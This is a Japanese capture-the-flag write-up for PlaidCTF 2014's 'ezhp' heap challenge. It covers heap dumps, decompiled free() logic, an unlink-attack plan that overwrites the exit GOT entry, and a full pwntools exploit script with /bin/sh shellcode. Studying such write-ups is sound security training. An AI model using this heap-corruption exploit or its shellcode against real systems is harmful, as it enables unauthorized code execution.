PlaidCTF 2014 ezhp

自習用に解きました。writeupです。

概要

ここからダウンロードしました。

$ checksec ezhp
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE

32bitでシェルコード実行可能。

実行してみると、

$ ./ezhp
Please enter one of the following:
1 to add a note.
2 to remove a note.
3 to change a note.
4 to print a note.
5 to quit.
Please choose an option.

と表示される。それぞれの動作は以下。

  1. ノートを追加する。
    自作mallocでヒープ上にサイズを指定してメモリを確保できる。

  2. ノートを削除する。
    idを指定して確保済みのメモリを自作freeで開放する。

  3. ノートに書き込む。
    再びサイズとノートのidを指定してサイズ分だけ入力を受け付ける。
    ここでオーバーフローがある。

  4. ノートの内容を出力する。
    idを指定して内容を出力する。

  5. 終了する。

脆弱性

to change a noteの際にヒープオーバーフローがあるのでUnlink Attackができそう。
サイズも指定出来るのでHouse of Forceも出来ると思ったけどヒープのアドレスの特定が難しそうだった。

なのでとりあえずUnlink Attackの方針を立ててみる。

調査

とりあえずto add a noteを5回、サイズを全て0x20にして実行してみる。 以下は5回to add a noteをサイズ0x20で実行した後のヒープとなる。

gdb-peda$ x/64xw 0x804c000
0x804c000:      0x0000000c      0x0804c00c      0x00000000      0x00000025
0x804c010:      0x0804c030      0x0804c000      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c030:      0x00000025      0x0804c054      0x0804c00c      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000025      0x0804c078      0x0804c030
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000025      0x0804c09c
0x804c080:      0x0804c054      0x00000000      0x00000000      0x00000000
0x804c090:      0x00000000      0x00000000      0x00000000      0x00000025
0x804c0a0:      0x0804c0c0      0x0804c078      0x00000000      0x00000000
0x804c0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0c0:      0x00000025      0x0804c0e4      0x0804c09c      0x00000000
0x804c0d0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0e0:      0x00000000      0x00000328      0x00000000      0x0804c0c0
0x804c0f0:      0x00000000      0x00000000      0x00000000      0x00000000

to change a noteでid=2, size=10で"AAAAAAAAA\n"を入力してみると

gdb-peda$ x/64xw 0x804c000
0x804c000:      0x0000000c      0x0804c00c      0x00000000      0x00000025
0x804c010:      0x0804c030      0x0804c000      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c030:      0x00000025      0x0804c054      0x0804c00c      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000025      0x0804c078      0x0804c030
0x804c060:      0x41414141      0x41414141      0x00000a41      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000025      0x0804c09c
0x804c080:      0x0804c054      0x00000000      0x00000000      0x00000000
0x804c090:      0x00000000      0x00000000      0x00000000      0x00000025
0x804c0a0:      0x0804c0c0      0x0804c078      0x00000000      0x00000000
0x804c0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0c0:      0x00000025      0x0804c0e4      0x0804c09c      0x00000000
0x804c0d0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0e0:      0x00000000      0x00000328      0x00000000      0x0804c0c0
0x804c0f0:      0x00000000      0x00000000      0x00000000      0x00000000

次はid=2, size=100で"A"*32+“\n"を入力してみると

gdb-peda$ x/64xw 0x804c000
0x804c000:      0x0000000c      0x0804c00c      0x00000000      0x00000025
0x804c010:      0x0804c030      0x0804c000      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c030:      0x00000025      0x0804c054      0x0804c00c      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000025      0x0804c078      0x0804c030
0x804c060:      0x41414141      0x41414141      0x41414141      0x41414141
0x804c070:      0x41414141      0x41414141      0x41414141      0x41414141
0x804c080:      0x0804c00a      0x00000000      0x00000000      0x00000000
0x804c090:      0x00000000      0x00000000      0x00000000      0x00000025
0x804c0a0:      0x0804c0c0      0x0804c078      0x00000000      0x00000000
0x804c0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0c0:      0x00000025      0x0804c0e4      0x0804c09c      0x00000000
0x804c0d0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c0e0:      0x00000000      0x00000328      0x00000000      0x0804c0c0
0x804c0f0:      0x00000000      0x00000000      0x00000000      0x00000000

オーバーフローしてることがわかる。

free関数らしき場所は大体こんな感じ

//0x8048708
void free(void *p) {
    if(p == NULL)
        return;
    void *top = p - 0xc;
    bk = *(top + 0x8);
    fd = top + 0x4;
    if(bk != NULL) {
        bk->fd = fd;
    }
    if(fd != NULL) {
        fd->bk = bk;
    }

    top->fd = *(g_mems + 0x4);
    if(*(g_mems + 0x4) != NULL) {
        *(*(g_mems + 0x4) + 0x8) = top;
    }
    *(g_mems + 0x4) = top;
    g_mems = top;
    g_mems = *g_mems;
    *top = (top & ~1);
}

free時にfd, bkの位置(オーバーフローさせないと上書き出来ない位置)がNULLでなければunlinkが実行されている。
なのでここをうまく書き換えて任意アドレス書き換えが可能そう。

立てた方針は以下の通り
1. いくつかto add a note.でノートを増やす。
2. to change a note.でオーバーフローさせてfd = 0x804a060 - 0x8, bk = 0x804a060になるようにする。
3. オーバーフローさせた位置のチャンクをto remove a note.でfreeしてunlinkを実行する。
4. to change a note.でid=0で0x804a060を先頭アドレスとして文字列を入力出来る。なのでid=0の場所を0x804a040, id=1の場所をexit.gotとなるように入力する。
5. to change a note.でid=0でシェルコードを入力。
6. to change a note.でid=1でexit.got0x804a040に書き換えてexit実行時にシェルコードを実行出来るようにする。
7. optionの選択時に1 ~ 5以外を入力してexitを呼び出してシェルを起動させる。

こんなコードになった。

from pwn import *
from struct import pack

binary = "./ezhp"
p = process(binary)
# p = remote("localhost", 1234)
elf = ELF(binary)

def s(x):
    global p
    import time
    p.sendline(x)
    time.sleep(0.1)

size = 0x20
## add note
for i in range(5):
    print("allocate memo: %d/5" % (i+1))
    s(str(1))
    s(str(size))

payload = ''
payload += "A" * size
payload += "\x00" * 4
payload += p32(0x25)
payload += p32(0x804a060 - 8)
payload += p32(0x804a060)
print("[+] overwrite memo2 by writing memo1")
print("[+] payload: %s" % repr(payload))
print("[+] Length: %d" % len(payload))
s(str(3))
s(str(1))#id
s(str(len(payload)+1))#size
s(payload)

print("[+] remove memo 2")
#remove 2
s(str(2))#option remove
s(str(2))#id

print("[+] change memo 0")
payload = ''
payload += p32(elf.bss() + 4)
payload += p32(elf.got['exit'])
#change 0
s(str(3))#option change
s(str(0))#id 0
s(str(len(payload) + 1))#size
s(payload)#payload

print("[+] write shellcode")
payload = ''
payload += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xd2\x31\xcd\x80"
s(str(3))
s(str(0))
s(str(len(payload) + 1))
s(payload)

print("[+] overwrite exit.got")
payload = ''
payload += p32(elf.bss() + 4)
s(str(3))
s(str(1))
s(str(len(payload) + 1))
s(payload)

print('[+] trigger execve("/bin/sh")')
s(str(9))
p.recv()
p.interactive()